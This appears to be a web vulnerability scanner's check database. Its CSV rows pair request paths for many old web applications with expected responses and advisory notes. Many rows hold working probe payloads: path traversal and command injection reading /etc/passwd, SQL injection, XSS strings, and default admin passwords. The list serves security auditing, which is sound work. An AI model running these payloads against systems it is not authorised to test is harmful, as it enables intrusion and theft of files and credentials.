"generic","/opendir.php?/etc/passwd","root:","GET","This PHP-Nuke CGI allows attackers to read any file on the web server. CVE-2001-0321"
"generic","/opendir.php?requesturl=/etc/passwd","root:","GET","This PHP-Nuke CGI allows attackers to read any file on the web server. CVE-2001-0321"
"generic","/oprocmgr-status","Module Name","GET","Oracle 9iAS default install allows access to the Java Process Manager."
"generic","/options.php?optpage=<script>alert('Vulnerable!')</script>","include_path","GET","This Squirrel Mail 1.2.7 reveals the PHP path information in error messages."
"generic","/oracle","200","GET","This might be interesting..."
"generic","/order/","200","GET","This might be interesting..."
"generic","/order/order_log.dat","200","GET","Web shopping system from http://www.io.com/~rga/scripts/cgiorder.html exposes order information, see http://www.mindsec.com/advisories/post2.txt"
"generic","/order/order_log_v12.dat","200","GET","Web shopping system from http://www.io.com/~rga/scripts/cgiorder.html exposes order information, see http://www.mindsec.com/advisories/post2.txt"
"generic","/orders/","200","GET","This might be interesting..."
"generic","/orders/checks.txt","200","GET","This might be interesting..."
"generic","/orders/mountain.cfg","200","GET","This might be interesting..."
"generic","/orders/orders.log","200","GET","This might be interesting..."
"generic","/orders/orders.txt","200","GET","This might be interesting..."
"generic","/Orders/order_log.dat","200","GET","Web shopping system from http://www.io.com/~rga/scripts/cgiorder.html exposes order information, see http://www.mindsec.com/advisories/post2.txt"
"generic","/orders/order_log.dat","200","GET","Web shopping system from http://www.io.com/~rga/scripts/cgiorder.html exposes order information, see http://www.mindsec.com/advisories/post2.txt"
"generic","/Orders/order_log_v12.dat","200","GET","Web shopping system from http://www.io.com/~rga/scripts/cgiorder.html exposes order information, see http://www.mindsec.com/advisories/post2.txt"
"generic","/orders/order_log_v12.dat","200","GET","Web shopping system from http://www.io.com/~rga/scripts/cgiorder.html exposes order information, see http://www.mindsec.com/advisories/post2.txt"
"generic","/outgoing/","200","GET","This might be interesting..."
"generic","/ows-bin/perlidlc.bat?&dir","ows-bin:","GET","The Oracle web listener can be used to execute remote commands. http://www.securiteam.com/windowsntfocus/Oracle_Web_Listener_4_0_x_CGI_vulnerability.html"
"generic","/page.cgi?../../../../../../../../../../etc/passwd","root:","GET","WWWeBBB Forum up to version 3.82beta allow arbitrary file retrieval."
"generic","/Page/1,10966,,00.html?var=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Vignette server is vulnerable to Cross Site Scripting (XSS). CA-2000-02. Upgrade to the latest version."
"generic","/pages/","200","GET","This might be interesting..."
"generic","/pages/htmlos/%3Cscript%3Ealert('Vulnerable');%3C/script%3E","<script>alert('Vulnerable')</script>","GET","Aestiva HTML/OS is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/passwd","200","GET","This could be interesting..."
"generic","/passwd.adjunct","200","GET","This could be interesting..."
"generic","/passwd.txt","200","GET","This could be interesting..."
"generic","/password","200","GET","This could be interesting..."
"generic","/password.inc","globalpw","GET","GTCatalog 0.9 admin password was retrieved remotely."
"generic","/passwords.txt","200","GET","This could be interesting..."
"generic","/passwords/","200","GET","This might be interesting..."
"generic","/pccsmysqladm/incs/dbconnect.inc","200","GET","This file should not be accessible, as it contains database connectivity information. Upgrade to version 1.2.5 or higher."
"generic","/PDG_Cart/","200","GET","This might be interesting..."
"generic","/PDG_Cart/oder.log","200","GET","Shopping cart software log"
"generic","/PDG_Cart/shopper.conf","Authnet_Login","GET","PDGSoft's PDG Shopping Cart 1.5 Ęhttp://www.pdgsoft.com/ , Shopping cart software log, http://www.mindsec.com/advisories/post2.txt"
"generic","/perl/","Index of ","GET","This should probably not be browsable."
"generic","/perl/-e%20%22system('cat%20/etc/passwd');\%22","root:","GET","The installed perl interpreter allows any command to be executed remotely."
"generic","/perl5/","200","GET","This might be interesting..."
"generic","/pforum/edituser.php?boardid=&agree=1&username=%3Cscript%3Ealert('Vulnerable')%3C/script%3E&nickname=test&email=test@example.com&pwd=test&pwd2=test&filled=1","<script>alert('Vulnerable')</script>","GET","Pforum 1.14 is vulnerable to Cross Site Scripting (XSS). CA-2000-02"
"generic","/phorum/admin/footer.php?GLOBALS[message]=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Phorum 3.3.2a and below from phorum.org is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/phorum/admin/header.php?GLOBALS[message]=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Phorum 3.3.2a and below from phorum.org is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/phorum/admin/stats.php","Phorum Stats","GET","PHP based forum script Phorum allows a user to retrieve the top ten active users, including email addresses. Delete the script or pass protect it."
"generic","/photo_album/","200","GET","Atomic Photo Album pre 1.0.3 had a 'few' security problems."
"generic","/php.ini","200","GET","This file should not be available through the web interface."
"generic","/php/","200","GET","This might be interesting..."
"generic","/php/mlog.phtml","200","GET","Remote file read vulnerability CVE-1999-0346"
"generic","/php/mylog.phtml?screen=/etc/passwd","root:","GET","Remote file read vulnerability CVE-1999-0346"
"generic","/php/php.exe?c:\winnt\boot.ini","boot loader","GET","Apache/PHP installations can be misconfigured (according to documentation) to allow files to be retrieved remotely."
"generic","/phpBB/bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK","root:","GET","The PHPNuke admin.php is vulnerable to a remote file retrieval vul. It should be upgraded to the latest version. CAN-2001-0320"
"generic","/phpBB/phpinfo.php","200","GET","phpBBmod contains an enhanced version of the phpinfo.php script. This should be removed as it contains detailed system information."
"generic","/phpBB/viewtopic.php?t=17071&highlight=\">\"<script>javascript:alert(document.cookie)</script>","<script>javascript:alert(document.cookie)</script>","GET","phpBB is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/phpBB2/includes/db.php","200","GET","Some versions of db.php from phpBB2 allow remote file inclusions. Verify the current version is running. See http://www.securiteam.com/securitynews/5BP0F2A6KC.html for more info"
"generic","/phpclassifieds/latestwap.php?url=<script>alert('Vulnerable');</script>","<script>alert('Vulnerable')</script>","GET","PHP Classifieds 6.05 from http://www.deltascripts.com/ is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/phpEventCalendar/file_upload.php","200","GET","phpEventCalendar 1.1 and prior vulnerable to file upload bug."
"generic","/phpimageview.php?pic=javascript:alert('Vulnerable')","alert('Vulnerable')","GET","PHP Image View 1.0 is vulnerable to Cross Site Scripting (XSS).  CA-2000-02."," "
"generic","/phpinfo.php","200","GET","Contains PHP configuration information"
"generic","/phpinfo.php3","200","GET","Contains PHP configuration information"
"generic","/phpnuke/html/.php?name=Network_Tools&file=index&func=ping_host&hinput=%3Bid","uid=","GET","PHP-Nuke add-on NetTools below 0.3 allow for command execution. Upgrade to a new version."
"generic","/phpnuke/modules.php?name=Network_Tools&file=index&func=ping_host&hinput=%3Bid","uid=","GET","PHP-Nuke add-on NetTools below 0.3 allow for command execution. Upgrade to a new version."
"generic","/phpping/index.php?pingto=www.test.com%20|%20dir%20c:\","boot.ini","GET","PHP Ping allows commands to be executed on the remote host."
"generic","/phprank/add.php?page=add&spass=1&name=2&siteurl=3&email=%3Cscript%3Ealert(Vulnerable)%3C/script%3E","<script>alert(Vulnerable)</script>","GET","phpRank is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/phprocketaddin/?page=../../../../../../../../../../boot.ini","boot loader","GET","The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host."
"generic","/phprocketaddin/?page=../../../../../../../../../../etc/passwd","root:","GET","The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host."
"generic","/phpshare/phpshare.php","200","GET","Several serious security holes pre 0.6b2. Several minor security holes pre 0.6b3"
"generic","/phptonuke.php?filnavn=/etc/passwd","root:","GET","This script from myphpnuke allows remote file retrieval."
"generic","/phptonuke.php?filnavn=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","PHPNuke add-on PHPToNuke is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/phpwebchat/register.php?register=yes&username=OverG&email=<script>alert%20(\"Vulnerable\")</script>&email1=<script>alert%20(\"Vulnerable\")</script>","alert(\"Vulnerable\")</script>","GET","PHP Web Chat 2.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/piranha/secure/passwd.php3","200","GET","This might be interesting..."
"generic","/pls/help/<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Oracle 9iAS is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/pls/portal30/admin_/","Gateway Configuration Menu","GET","Default Oracle 9iAS allows unrestricted access to the mod_plsql DAD admin interface."
"generic","/pls/sample/admin_/help/..%255cplsql.conf","Directives added for mod-plsql","GET","Oracle 9iAS allows mod_plsql to perform a directory traversal."
"generic","/pls/simpledad/admin_/","Gateway Configuration Menu","GET","This default may allow limited administration of the Oracle server."
"generic","/pls/simpledad/admin_/gateway.htm?schema=sample","Gateway Configuration Menu","GET","This default may allow limited administration of the Oracle server."
"generic","/pm.php?function=sendpm&to=VICTIM&subject=SUBJECT&images=javascript:alert('Vulnerable')&message=MESSAGE&submitpm=Submit","<script>alert('Vulnerable')</script>","GET","IcrediBB Bulletin Board System is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/pms.php?action=send&recipient=DESTINATAIRE&subject=happy&posticon=javascript:alert('Vulnerable')&mode=0&message=Hello","<script>alert('Vulnerable')</script>","GET","WoltLab Burning Board is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/porn/","200","GET","Uh oh..."
"generic","/postnuke/html/modules.php?op=modload&name=News&file=article&sid=<script>alert('Vulnerable');</script>","<script>alert('Vulnerable')</script>","GET","PostNuke is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/pr0n/","200","GET","Uh oh..."
"generic","/private/","200","GET","This might be interesting..."
"generic","/profile.php?u=JUNK(8)","Warning:","GET","Powerboards (http://powerboards.sourceforge.net/) is vulnerable to path disclosure. See http://www.ifrance.com/kitetoua/tuto/powerboards.txt for details."
"generic","/profiles.php?uid=&lt;script&gt;alert(document.cookie)&lt;/script&gt;","<script>alert(document.cookie)</script>","GET","GeekLog 1.3.7 allows Cross Site Scripting (XSS). CA-2000-02."
"generic","/Program%20Files/","WindowsUpdate","GET","This check (B) uses the blue test (A) for possible exploit. see  http://www.badblue.com/down.htm."
"generic","/project/index.php?m=projects&user_cookie=1","200","GET","dotProject 0.2.1.5 may allow admin login bypass by adding the user_cookie=1 to the URL."
"generic","/pron/","200","GET","Uh oh..."
"generic","/pub/","200","GET","This might be interesting..."
"generic","/pub/english.cgi?op=rmail","200","GET","BSCW self-registration may be enabled. This could allow untrusted users semi-trusted access to the software. 3.x version (and probably some 4.x) allow arbitrary commands to be executed remotely. See http://www.securitytracker.com/alerts/2002/Jan/1003092.html"
"generic","/public/","200","GET","This might be interesting..."
"generic","/purchase/","200","GET","This might be interesting..."
"generic","/purchases/","200","GET","This might be interesting..."
"generic","/pvote/ch_info.php","200","GET","PVote administration page is available. Versions 1.5b and lower do not require authentication to reset the administration password."
"generic","/pw/","200","GET","This might be interesting..."
"generic","/pw/storemgr.pw","200","GET","Encrypted ID/Pass for Mercantec's SoftCart, http://www.mercantec.com/, see http://www.mindsec.com/advisories/post2.txt for more information."
"generic","/quikstore.cfg","200","GET","Shopping cart config file, http://www.quikstore.com/, http://www.mindsec.com/advisories/post2.txt"
"generic","/quikstore.cgi","200","GET","Shopping cart. It may be interesting..."
"generic","/readme","index of","GET","Default directory found."
"generic","/readme.txt","200","GET","Default file found."
"generic","/README.TXT","200","GET","Default file found."
"generic","/register/","200","GET","This might be interesting..."
"generic","/registered/","200","GET","This might be interesting..."
"generic","/replymsg.php?send=1&destin=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","This version of PHP-Nuke's replymsg.php is vulnerable to Cross Site Scripting (XSs). CA-2000-02."
"generic","/reports/","200","GET","This might be interesting..."
"generic","/reseller/","200","GET","This might be interesting..."
"generic","/restricted/","200","GET","This might be interesting..."
"generic","/retail/","200","GET","This might be interesting..."
"generic","/reviews/newpro.cgi","200","GET","This might be interesting..."
"generic","/ROADS/cgi-bin/search.pl?form=../../../../../../../../../../etc/passwd%00","root:","GET","The ROADS search.pl allows attackers to retrieve system files."
"generic","/root/","Index of ","GET","This might be interesting..."
"generic","/rtm.log","HttpPost Retry","GET","Rich Media's JustAddCommerce allows retrieval of a log file, which may contain sensitive information."
"generic","/sales/","200","GET","This might be interesting..."
"generic","/samples/search.dll?query=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."&logic=AND
"generic","/scozbook/view.php?PG=whatever","Warning","GET","ScozBook Beta 1.1 may reveal file system paths in error messages."
"generic","/script>alert('Vulnerable')</script>.cfm","<script>alert('Vulnerable')</script>","GET","Macromedia's ColdFusion MX server is vulnerable to Cross Site Scripting (XSS). CA-2000-02. Patch or upgrade to a newer version, or change the default 404 document. http://www.macromedia.com/v1/handlers/index.cfm?ID=23047"
"generic","/scripts","Index of ","GET","Remote scripts directory is browsable."
"generic","/scripts/db4web_c.exe/dbdirname/c%3A%5Cboot.ini","boot loader","GET","The boot.ini file was retrieved by using the db4web executable."
"generic","/scripts/weblog","200","GET","This might be interesting..."
"generic","/scripts/wsisa.dll/WService=anything?WSMadmin","200","GET","Allows Webspeed to remotely administered. Edit unbroker.properties and set AllowMsngrCmds to 0"
"generic","/search.php?mailbox=INBOX&what=x&where=<script>alert('Vulnerable!')</script>&submit=Search","include_path","GET","This Squirrel Mail 1.2.7 reveals the PHP path information in error messages."
"generic","/search.php?searchfor=\"><script>alert('Vulnerable');</script>","alert('Vulnerable')","GET","Siteframe 2.2.4 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/search.php?sess=your_session_id&lookfor=&lt;script&gt;alert(document.cookie)&lt;/script&gt;","<script>alert(document.cookie)</script>","GET","phPay v2.02 cross site scripting. http://phpay.sourceforge.net/."
"generic","/search.vts","200","GET","This might be interesting..."
"generic","/search/","Sample Search Interface","GET","Default iPlanet search is enabled."
"generic","/search/?SectionIDOverride=1&SearchText=<script>alert(document.cookie);</script>","alert(document.cookie)","GET","ezPublish 2.27 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/search/index.cfm?<script>alert(\"Vulnerable\")</script>","<script>alert(\"Vulnerable\")</script>","GET","Search agent allows Cross Site Scripting (XSS). CA-2000-02."
"generic","/search97.vts","200","GET","This might be interesting..."
"generic","/search97cgi/s97_cgi","200","GET","SCO Unixware search script may be vulnerable to XSS and command injection, BID-1717, CVE-2000-1014"
"generic","/search97cgi/s97_cgi?action=FilterSearch&filter=<script>alert('Vulnerable');</script>;","<script>alert('Vulnerable')</script>","GET","SCO Unixware search script is vulnerable to XSS and command injection, BID-1717, CVE-2000-1014"
"generic","/secret/","200","GET","This might be interesting..."
"generic","/secure/","Index of ","GET","This might be interesting..."
"generic","/securecontrolpanel/","200","GET","Web Server Control Panel"
"generic","/secured/","Index of ","GET","This might be interesting..."
"generic","/securelogin/1,2345,A,00.html","200","GET","Vignette Story Server v4.1, 6, may disclose sensitive information via a buffer overflow. CAN-2002-0385."
"generic","/sell/","200","GET","This might be interesting..."
"generic","/server_stats/","Index of ","GET","This might be interesting..."
"generic","/servlet/admin?category=server&method=listAll&Authorization=Digest+username%3D%22admin%22%2C+response%3D%22ae9f86d6beaa3f9ecb9a5b7e072a4138%22%2C+nonce%3D%222b089ba7985a883ab2eddcd3539a6c94%22%2C+realm%3D%22adminRealm%22%2C+uri%3D%22%2Fservlet%2Fadmin%22&service=","server.javawebserver.serviceAdmin","GET","The Sun JavaServer has the default admin/admin account enabled. Change the password or disable the server if it is not needed."
"generic","/servlet/allaire.jrun.ssi.SSIFilter","200","GET","Allaire Coldfusion allows jsp source viewed through a vulnerable SSI call.","<!--#include virtual=\"/index.jsp\"-->"
"generic","/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter","200","GET","Allaire Coldfusion allows jsp source viewed through a vulnerable SSI call.","<!--#include virtual=\"/index.jsp\"-->"
"generic","/servlet/com.unify.servletexec.UploadServlet","200","GET","This servlet allows attackers to upload files to the server."
"generic","/servlet/ContentServer?pagename=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Open Market Inc.ĘContentServer is vulnerable to Cross Site Scripting (XSS) in the login-error page. CA-2000-02."
"generic","/servlet/Counter","200","GET","JRun default servlet found. All default code should be removed from servers."
"generic","/servlet/DateServlet","200","GET","JRun default servlet found. All default code should be removed from servers."
"generic","/servlet/FingerServlet","200","GET","JRun default servlet found. All default code should be removed from servers."
"generic","/servlet/HelloWorldServlet","200","GET","JRun default servlet found. All default code should be removed from servers."
"generic","/servlet/IsItWorking","Yes, It's working","GET","Default Java (JServ) pages are present."
"generic","/servlet/SchedulerTransfer","200","GET","PeopleSoft SchedulerTransfer servlet found, which may allow remote command execution. See http://www.iss.net/issEn/delivery/xforce/alertdetail.jsp?oid=21999"
"generic","/servlet/SessionManager","200","GET","IBM WebSphere reconfigure servlet (user=servlet, password=manager). All default code should be removed from servers."
"generic","/servlet/SessionServlet","200","GET","JRun default servlet found. All default code should be removed from servers."
"generic","/servlet/SimpleServlet","200","GET","JRun default servlet found. All default code should be removed from servers."
"generic","/servlet/SnoopServlet","200","GET","JRun default servlet found. All default code should be removed from servers."
"generic","/servlet/sunexamples.BBoardServlet","200","GET","This default servlet lets attackers execute arbitrary commands."," "
"generic","/servlets/SchedulerTransfer","200","GET","PeopleSoft SchedulerTransfer servlet found, which may allow remote command execution. See http://www.iss.net/issEn/delivery/xforce/alertdetail.jsp?oid=21999"
"generic","/session/admnlogin","200","GET","SessionServlet Output, has session cookie info."
"generic","/SetSecurity.shm","200","GET","Cisco System's My Access for Wireless... This resource should be password protected."
"generic","/settings/site.ini","DatabaseSettings","GET","eZ publish v3 and prior allow site setup code to be viewed remotely."
"generic","/setup.exe?<script>alert('Vulnerable')</script>&page=list_users&user=P","<script>alert('Vulnerable')</script>","GET","CiscoSecure ACS v3.0(1) Build 40 allows Cross Site Scripting (XSS). CA-2000-02."
"generic","/setup/","200","GET","This might be interesting..."
"generic","/sgdynamo.exe?HTNAME=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Ecometry's SGDynamo is vulnerable to Cross Site Scripting (XSS). ĘCAN-2002-0375. CA-2000-02."
"generic","/shop/","200","GET","This might be interesting..."
"generic","/shop/database/metacart.mdb","200","GET","MetaCart2 is an ASP shopping cart. The database of customers is available via the web."," "
"generic","/shop/member_html.cgi?file=;cat%20/etc/passwd|","root:","GET","Happymail E-Commerce 4.3/4.4 allows arbitrary commands to be executed remotely. CAN-2003-0243."
"generic","/shop/member_html.cgi?file=|cat%20/etc/passwd|","root:","GET","Happymail E-Commerce 4.3/4.4 allows arbitrary commands to be executed remotely. CAN-2003-0243."
"generic","/shop/normal_html.cgi?file=&lt;script&gt;alert(\"Vulnerable\")&lt;/script&gt;","<script>alert(\"Vulnerable\")</script>","GET","Happymail E-Commerce is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/shop/normal_html.cgi?file=../../../../../../etc/issue%00","root:","GET","Happymail E-Commerce 4.3/4.4 allows arbitrary files to be retrieved remotely. CAN-2003-0243."
"generic","/shop/normal_html.cgi?file=;cat%20/etc/passwd|","root:","GET","Happymail E-Commerce 4.3/4.4 allows arbitrary commands to be executed remotely. CAN-2003-0243."
"generic","/shop/normal_html.cgi?file=|cat%20/etc/passwd|","root:","GET","Happymail E-Commerce 4.3/4.4 allows arbitrary commands to be executed remotely. CAN-2003-0243."
"generic","/shopadmin.asp","200","GET","VP-ASP shopping cart admin may be available via the web. Default ID/PW are vpasp/vpasp and admin/admin."
"generic","/shopa_sessionlist.asp","200","GET","VP-ASP shopping cart test application is available from the web. This page may give the location of .mdb files which may also be available."
"generic","/shopdbtest.asp","xDatabase","GET","VP-ASP shopping cart test application is available from the web. This page gives the location of .mdb files which may also be available (xDatabase)."
"generic","/shoponline/fpdb/shop.mdb","200","GET","MetaCart2 is an ASP shopping cart. The database of customers is available via the web."," "
"generic","/shopper/","200","GET","This might be interesting..."
"generic","/shopping/database/metacart.mdb","200","GET","MetaCart2 is an ASP shopping cart. The database of customers is available via the web."," "
"generic","/shopping300.mdb","200","GET","VP-ASP shopping cart application allows .mdb files (which may include customer data) to be downloaded via the web. These should not be available."
"generic","/shopping400.mdb","200","GET","VP-ASP shopping cart application allows .mdb files (which may include customer data) to be downloaded via the web. These should not be available."
"generic","/shoppingdirectory/midicart.mdb","200","GET","MIDICART database is available for browsing. This should not be allowed via the web server."
"generic","/showcat.php?catid=&lt;Script&gt;JavaScript:alert('Vulnerable');&lt;/Script&gt;","<script>alert('Vulnerable')</script>","GET","phpLinkat is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/SilverStream","/Pages","GET","SilverStream allows directory listing"
"generic","/SilverStream/Meta/Tables/?access-mode=text","_DBProduct","GET","The SilverStream database structure is available for remote viewing."
"generic","/simplebbs/users/users.php","200","GET","Simple BBS 1.0.6 allows user information and passwords to be viewed remotely."
"generic","/sips/sipssys/users/a/admin/user","Password","GET","SIPS v0.2.2 allows user account info (including password) to be retrieved remotely."
"generic","/site/' UNION ALL SELECT FileToClob('/etc/passwd','server')::html,0 FROM sysusers WHERE username = USER --/.html","root:","GET","Web DataBlade 4.12/Informix is vulnerable to SQL Injection."
"generic","/site/' UNION ALL SELECT FileToClob('/etc/passwd','server')::html,0 FROM sysusers WHERE username=USER --/.html","root:","GET","IBM Informix Web DataBlade allows remote execute of SQL"
"generic","/siteminder","200","GET","This may be an indication that the server is running Siteminder for SSO"
"generic","/siteminder/smadmin.html","Admin Login","GET","SiteMinder admin login page available."
"generic","/SiteScope/cgi/go.exe/SiteScope?page=eventLog&machine=&logName=System&account=administrator","Event Log","GET","SiteScope service has no password set. Restrict by IP and set a password."
"generic","/SiteScope/htdocs/SiteScope.html","200","GET","The SiteScope install may allow remote users to get sensitive information about the hosts being monitored."
"generic","/smssend.php","200","GET","PhpSmssend may allow system calls if a ' is passed to it. http://zekiller.skytech.org/smssend.php"
"generic","/software/","Index of ","GET","This might be interesting..."
"generic","/soinfo.php?\"><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The PHP script soinfo.php is vulnerable to Cross Site Scripting CA-2000-02. Set expose_php = Off in php.ini."
"generic","/source/","Index of ","GET","This might be interesting..."
"generic","/Sources/","200","GET","This might be interesting... may be YaBB."
"generic","/splashAdmin.php","200","GET","Cobalt Qube 3 admin is running. This may have multiple security problems as described by www.scan-associates.net. These could not be tested remotely."," "
"generic","/sql/","Index of ","GET","This might be interesting..."
"generic","/sqlnet.log","200","GET","Oracle log file found."
"generic","/src/","Index of ","GET","This might be interesting..."
"generic","/src/read_body.php?mailbox=%3Cscript%3Ealert(Vulnerable)%3C%2Fscript%3E&passed_id=%3Cscript%3Ealert(Vulnerable)%3C%2Fscript%3E&startMessage=1&show_more=0","<script>alert(Vulnerable)</script>","GET","Squirrel Mail is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/srchadm","200","GET","This might be interesting..."
"generic","/ss.cfg","200","GET","This might be interesting..."
"generic","/ss000007.pl?PRODREF=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Actinic E-Commerce services is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/ssdefs/","200","GET","Siteseed pre 1.4.2 has 'major' security problems."
"generic","/ssdefs/siteseed.dtd","imagesDir=\"","GET","Siteseed pre 1.4.2 has 'major' security problems, and this dtd file reveals the web root."
"generic","/sshome/","200","GET","Siteseed pre 1.4.2 has 'major' security problems."
"generic","/ssi/","Index of ","GET","This might be interesting..."
"generic","/staff/","200","GET","This might be interesting..."
"generic","/start.php?config=alper.inc.php","Failed opening required","GET","phPay v2.02 information disclosure. http://phpay.sourceforge.net/."
"generic","/stat.htm","200","GET","Just found this log file..."
"generic","/stat/","200","GET","This might be interesting..."
"generic","/statistic/","200","GET","This might be interesting..."
"generic","/statistics/","200","GET","This might be interesting..."
"generic","/stats.htm","200","GET","Just found this log file..."
"generic","/stats.html","200","GET","Just found this log file..."
"generic","/stats.txt","200","GET","Just found this log file..."
"generic","/Stats/","200","GET","This might be interesting..."
"generic","/stats/","200","GET","This might be interesting..."
"generic","/status/","200","GET","This might be interesting..."
"generic","/store/","200","GET","This might be interesting..."
"generic","/StoreDB/","200","GET","This might be interesting..."
"generic","/style/","Index of ","GET","May be able to view web styles directory."
"generic","/styles/","Index of ","GET","May be able to view web styles directory."
"generic","/stylesheet/","200","GET","This may be interesting..."
"generic","/stylesheets/","200","GET","This may be interesting..."
"generic","/submit.php?subject=<script>alert('Vulnerable')</script>&story=<script>alert('Vulnerable')</script>&storyext=<script>alert('Vulnerable')</script>&op=Preview","<script>alert('Vulnerable')</script>","GET","This install of PHPNuke is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sunshop.index.php?action=storenew&username=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","SunShop is vulnerable to Cross Site Scripting (XSS) in the signup page. CA-200-02."
"generic","/super_stats/access_logs","200","GET","This might be interesting..."
"generic","/support/","200","GET","This might be interesting..."
"generic","/support/common.php?f=0&ForumLang=../../../../../../../../../../etc/passwd","root:","GET","This CGI allows attackers to read files on the host."
"generic","/support/messages","200","GET","Axis WebCam allows retrieval of messages file (/var/log/messages). See http://www.websec.org/adv/axis2400.txt.html"
"generic","/supporter/index.php?t=ticketfiles&id=&lt;script&gt;<script>alert('Vulnerable')</script>&lt;/script&gt;","<script>alert('Vulnerable')</script>","GET","MyHelpdesk from http://myhelpdesk.sourceforge.net/ versions v20020509 and older are vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/supporter/index.php?t=tickettime&id=&lt;script&gt;<script>alert('Vulnerable')</script>&lt;/script&gt;","<script>alert('Vulnerable')</script>","GET","MyHelpdesk from http://myhelpdesk.sourceforge.net/ versions v20020509 and older are vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/supporter/index.php?t=updateticketlog&id=&lt;script&gt;<script>alert('Vulnerable')</script>&lt;/script&gt;","<script>alert('Vulnerable')</script>","GET","MyHelpdesk from http://myhelpdesk.sourceforge.net/ versions v20020509 and older are vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sys/","200","GET","This might be interesting..."
"generic","/syshelp/cscript/showfnc.stm?pkg=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/syshelp/cscript/showfncs.stm?pkg=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/syshelp/cscript/showfunc.stm?func=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/syshelp/stmex.stm?foo=123&bar=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/syshelp/stmex.stm?foo=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."&bar=456
"generic","/system/","200","GET","This might be interesting..."
"generic","/sysuser/docmgr/create.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sysuser/docmgr/edit.stm?name=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sysuser/docmgr/edit.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sysuser/docmgr/ftp.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sysuser/docmgr/htaccess.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sysuser/docmgr/iecreate.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sysuser/docmgr/iecreate.stm?template=../","200","GET","Sambar default file may allow directory listings."
"generic","/sysuser/docmgr/ieedit.stm?name=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sysuser/docmgr/ieedit.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sysuser/docmgr/ieedit.stm?url=../","200","GET","Sambar default file may allow directory listings."
"generic","/sysuser/docmgr/info.stm?name=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sysuser/docmgr/info.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
